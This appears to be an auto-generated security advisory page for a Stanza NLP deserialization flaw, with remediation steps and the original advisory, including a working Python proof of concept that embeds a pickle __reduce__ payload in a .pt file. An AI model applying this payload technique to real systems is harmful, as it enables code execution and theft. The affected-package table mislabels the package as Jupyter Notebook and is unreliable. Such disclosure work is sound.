Stanza NLP ≤1.12.1 contains a logic flaw in six model loaders: when PyTorch safe deserialization (weights_only=True) raises an UnpicklingError — a condition fully controllable by an attacker — Stanza silently retries the same file with the unrestricted pickle deserializer, executing arbitrary __reduce__ methods. With 2,954 downstream dependents spanning research environments, CI/CD pipelines, and production NLP services, any team loading Stanza pretrain files from a shared or external source (HuggingFace, S3 model caches, artifact stores) is exposed to full remote code execution with process-level privileges. A functional PoC is included in the advisory and the attack requires only placing one malformed .pt file at a path Stanza will load — no authentication or network access to the victim system is needed beyond the supply chain vector. Upgrade immediately to stanza==1.12.2, audit model source provenance, and enforce cryptographic checksums on all pretrain files before loading.
What is the risk?
High severity in practice despite CVSS 7.5. The critical aggravating factor is the attacker-controllable trigger: any .pt file embedding a single unsupported pickle global will reliably defeat the safety mechanism. The blast radius is amplified by the six affected loaders (pretrain, coreference, classifier, constituency, lemma_classifier) and the 2,954 downstream packages that import stanza. Exploitation is straightforward — the advisory includes a working PoC. The primary mitigant is the supply chain delivery prerequisite (attacker must place a file at a loadable path), but shared NFS mounts, S3 model caches, and HuggingFace auto-downloads make this realistic in most ML team environments. No active exploitation is confirmed, but the PoC lowers the bar to opportunistic actors targeting AI/ML infrastructure.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Jupyter Notebook | pip | <= 1.12.1 | 1.12.2 |
| PyTorch | pip | — | No patch |
How severe is it?
What is the attack surface?
What should I do?
7 steps-
PATCH
Upgrade stanza to 1.12.2 immediately — this is the only complete fix.
-
VERIFY
After upgrade, confirm all six affected loader files no longer contain the unsafe fallback pattern (grep -r 'weights_only=False' in the stanza package directory).
-
AUDIT MODEL SOURCES
Enumerate all .pt files loaded by stanza.Pipeline() in your environment; verify SHA-256 checksums against trusted manifests.
-
LOCK MODEL CACHES
If shared model storage is used (NFS, S3), apply write-access controls so only trusted pipelines can publish pretrain files.
-
DETECT
Add filesystem monitoring (auditd/Falco) for unexpected writes from processes that import stanza — specifically from stanza worker processes writing to /tmp or env config paths.
-
CI/CD HARDENING: Pin stanza version with a hash in requirements.txt and validate model file checksums in pipeline steps before loading.
-
SHORT-TERM WORKAROUND (if patching is delayed): Set PYTHONPATH to a patched local copy of pretrain.py that removes the except UnpicklingError fallback block.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-54499?
Stanza NLP ≤1.12.1 contains a logic flaw in six model loaders: when PyTorch safe deserialization (weights_only=True) raises an UnpicklingError — a condition fully controllable by an attacker — Stanza silently retries the same file with the unrestricted pickle deserializer, executing arbitrary __reduce__ methods. With 2,954 downstream dependents spanning research environments, CI/CD pipelines, and production NLP services, any team loading Stanza pretrain files from a shared or external source (HuggingFace, S3 model caches, artifact stores) is exposed to full remote code execution with process-level privileges. A functional PoC is included in the advisory and the attack requires only placing one malformed .pt file at a path Stanza will load — no authentication or network access to the victim system is needed beyond the supply chain vector. Upgrade immediately to stanza==1.12.2, audit model source provenance, and enforce cryptographic checksums on all pretrain files before loading.
Is CVE-2026-54499 actively exploited?
No confirmed active exploitation of CVE-2026-54499 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-54499?
1. PATCH: Upgrade stanza to 1.12.2 immediately — this is the only complete fix. 2. VERIFY: After upgrade, confirm all six affected loader files no longer contain the unsafe fallback pattern (grep -r 'weights_only=False' in the stanza package directory). 3. AUDIT MODEL SOURCES: Enumerate all .pt files loaded by stanza.Pipeline() in your environment; verify SHA-256 checksums against trusted manifests. 4. LOCK MODEL CACHES: If shared model storage is used (NFS, S3), apply write-access controls so only trusted pipelines can publish pretrain files. 5. DETECT: Add filesystem monitoring (auditd/Falco) for unexpected writes from processes that import stanza — specifically from stanza worker processes writing to /tmp or env config paths. 6. CI/CD HARDENING: Pin stanza version with a hash in requirements.txt and validate model file checksums in pipeline steps before loading. 7. SHORT-TERM WORKAROUND (if patching is delayed): Set PYTHONPATH to a patched local copy of pretrain.py that removes the except UnpicklingError fallback block.
What systems are affected by CVE-2026-54499?
This vulnerability affects the following AI/ML architecture patterns: NLP inference pipelines, Training pipelines, CI/CD model build systems, Shared model cache environments (NFS, S3), Research Jupyter notebook servers.
What is the CVSS score for CVE-2026-54499?
CVE-2026-54499 has a CVSS v3.1 base score of 7.5 (HIGH).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001 AI Software AML.T0010.003 Model AML.T0011.000 Unsafe AI Artifacts AML.T0018.002 Embed Malware AML.T0058 Publish Poisoned Models Compliance Controls Affected
What are the technical details?
Original Advisory
### Summary Stanza 1.12.0 attempts to safely load PyTorch checkpoint files using `torch.load(..., weights_only=True)`, but automatically falls back to the fully unsafe `torch.load(..., weights_only=False)` when the safe load raises `pickle.UnpicklingError`. Because the `UnpicklingError` condition is fully attacker-controllable, any `.pt` file that contains a single unsupported pickle global will trigger it. An attacker who can place a malicious pretrain or model file on disk (via supply-chain compromise, a poisoned model repository, or a shared model cache) can achieve arbitrary code execution on any machine that loads a Stanza NLP pipeline. Code execution occurs inside the Stanza pretrain-loading API, not merely by calling `torch.load` directly. ### Details The vulnerable code is in [pretrain.py#L59-L67](https://github.com/stanfordnlp/stanza/blob/main/stanza/models/common/pretrain.py#L59-L67) (Stanza 1.12.0): ```python try: data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True) except UnpicklingError: data = torch.load(self.filename, lambda storage, loc: storage, weights_only=False) ``` When `weights_only=True` is passed, PyTorch's deserializer raises `pickle.UnpicklingError` for any object whose class or callable is not on the safe-globals allowlist. This is the intended safety mechanism. However, Stanza catches that exception and immediately reloads the **same attacker-controlled file** with `weights_only=False`, which invokes Python's full pickle deserializer and executes any `__reduce__` method in the file without restriction. The fallback is triggered reliably and intentionally: an attacker embeds one unsupported pickle global (e.g., `builtins.open`) anywhere in an otherwise structurally valid Stanza pretrain state dict. The safe load rejects it; the unsafe reload runs it. **The same try/except pattern exists in at least five additional loaders in Stanza 1.12.0:** | File | Lines | |------|-------| | `stanza/models/common/pretrain.py` | 64–66 | | `stanza/models/coref/model.py` | 251–253, 329–331 | | `stanza/models/classifiers/trainer.py` | 80–82 | | `stanza/models/constituency/base_trainer.py` | 94–96 | Additionally, `stanza/models/lemma_classifier/base_model.py:127` calls `torch.load(filename, lambda storage, loc: storage)` with no `weights_only` argument at all, which defaults to `False` on any PyTorch < 2.6. The call chain from the public API to the vulnerable fallback is: ``` stanza.models.common.foundation_cache.load_pretrain(path) → FoundationCache.load_pretrain(path) → stanza.models.common.pretrain.Pretrain(filename) → Pretrain.emb (property access triggers load) → Pretrain.load() → torch.load(..., weights_only=True) # raises UnpicklingError → torch.load(..., weights_only=False) # executes arbitrary pickle ``` --- ### PoC **Environment:** Python 3.11, `stanza==1.12.0`, `torch==2.12.0` **Step 1: Install dependencies:** ```bash pip install stanza==1.12.0 torch==2.12.0 ``` **Step 2: Save the following as `exploit.py`:** ```python import os from pathlib import Path import torch import stanza from stanza.models.common.foundation_cache import FoundationCache, load_pretrain from stanza.models.common.vocab import VOCAB_PREFIX SENTINEL = "/tmp/stanza_rce_proof" MODEL = "/tmp/stanza_malicious.pt" class HarmlessPayload: """Demonstrates execution; writes a sentinel file.""" def __init__(self, path): self.path = path def __reduce__(self): return (open, (self.path, "w")) # Build a structurally valid Stanza pretrain state dict with the payload embedded. words = VOCAB_PREFIX + ["hello"] state = { "vocab": { "lang": "", "idx": 0, "cutoff": 0, "lower": False, "_id2unit": words, "_unit2id": {w: i for i, w in enumerate(words)}, }, "emb": torch.zeros((len(words), 2), dtype=torch.float32), "payload": HarmlessPayload(SENTINEL), # ← the malicious object } torch.save(state, MODEL) # Confirm safe-only load raises UnpicklingError and does NOT create sentinel. try: torch.load(MODEL, lambda s, l: s, weights_only=True) print("UNEXPECTED: safe load succeeded (no fallback needed)") except Exception as e: print(f"Control: safe load raised {type(e).__name__} : sentinel exists: {Path(SENTINEL).exists()}") # Load through the real Stanza API. The fallback fires and the sentinel is created. cache = FoundationCache() pretrain = load_pretrain(MODEL, foundation_cache=cache) print(f"stanza={stanza.__version__} torch={torch.__version__}") print(f"emb_shape={tuple(pretrain.emb.shape)}") print(f"sentinel_exists={Path(SENTINEL).exists()}") print("VERDICT: ACTUAL_VULN_REAL_STANZA_PATH" if Path(SENTINEL).exists() else "VERDICT: UNPROVEN") ``` **Step 3 : Run:** ```bash python exploit.py ``` **Expected output (confirmed):** ``` Control: safe load raised UnpicklingError : sentinel exists: False stanza=1.12.0 torch=2.12.0 emb_shape=(5, 2) sentinel_exists=True VERDICT: ACTUAL_VULN_REAL_STANZA_PATH ``` The sentinel is created exclusively by the Stanza pretrain-loading API invoking the unsafe fallback : not by a direct `torch.load` call in the PoC. --- ### Impact **Vulnerability class:** CWE-502 : Deserialization of Untrusted Data **Who is impacted:** Any user, researcher, CI/CD pipeline, or production NLP service that loads a Stanza model pretrain file from a source that is not under the victim's exclusive cryptographic control. Concretely: - Developers who run `stanza.Pipeline(lang)` after downloading models from HuggingFace or GitHub - CI pipelines that automatically refresh Stanza models during builds - Research environments that share pretrain files over shared network storage or model repositories **Attack prerequisites:** The attacker must be able to place a malicious `.pt` pretrain file at a path that Stanza will load. Realistic delivery vectors include: - Compromise of a HuggingFace model repository hosting Stanza pretrain weights - Poisoning of a shared model cache directory (NFS, S3, artifact store) - A malicious pretrain file distributed via a third-party fine-tuning hub or research repo **What an attacker achieves:** Arbitrary code execution with the full privileges of the process running `stanza.Pipeline()`, typically a developer workstation, a Jupyter notebook server, or a GPU training node. This allows credential theft (HuggingFace tokens, cloud IAM keys from environment variables), persistent backdoors, data exfiltration, and lateral movement in multi-tenant training infrastructure. **Recommended fix:** Remove the unsafe fallback entirely. If `weights_only=True` raises `UnpicklingError`, fail closed: ```python try: data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True) except UnpicklingError as e: raise RuntimeError( f"Refusing to load legacy pretrain file {self.filename!r} with unsafe " "deserialization. Regenerate the file using a trusted Stanza migration tool." ) from e ``` If legacy NumPy-containing pretrain files must be supported, use PyTorch's `add_safe_globals()` API to allowlist the specific NumPy dtypes required, rather than disabling all safety checks. Apply the same fix to all six affected loaders listed above.
Exploitation Scenario
An attacker targeting an AI/NLP team identifies that their CI/CD pipeline auto-downloads Stanza pretrain files from a HuggingFace model repository. The attacker compromises a contributor account on that repository or submits a malicious pull request that passes automated review. They craft a structurally valid Stanza pretrain state dict containing a HarmlessPayload object (or a destructive equivalent: a reverse shell spawner via subprocess.Popen) serialized via pickle's __reduce__ mechanism. The file is indistinguishable from a legitimate pretrain file at the metadata level. When the CI pipeline executes stanza.Pipeline('en') on the next build, Stanza's pretrain.py attempts torch.load with weights_only=True; the embedded unsupported global triggers UnpicklingError; the except block immediately reloads the same file with weights_only=False; the __reduce__ method fires, spawning a reverse shell or dropping an SSH key. The attacker now has persistent access to the build environment with credentials to cloud artifact stores, container registries, and downstream production systems.
Weaknesses (CWE)
CWE-502 Deserialization of Untrusted Data
Primary
CWE-676 Use of Potentially Dangerous Function
Primary
CWE-502 — Deserialization of Untrusted Data: The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
- [Architecture and Design, Implementation] If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
- [Implementation] When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2026-42266 8.8 JupyterLab: Extension allow-list bypass enables privesc
Same package: notebook CVE-2026-5422 8.1 jupyter-server: path traversal exposes sibling dir files
Same package: notebook CVE-2018-8768 7.8 Jupyter Notebook: XSS via malicious .ipynb file
Same package: notebook CVE-2026-54293 7.5 NLTK: path traversal leaks arbitrary local files
Same package: notebook CVE-2026-35397 7.1 Jupyter Server: path traversal leaks sibling directories
Same package: notebook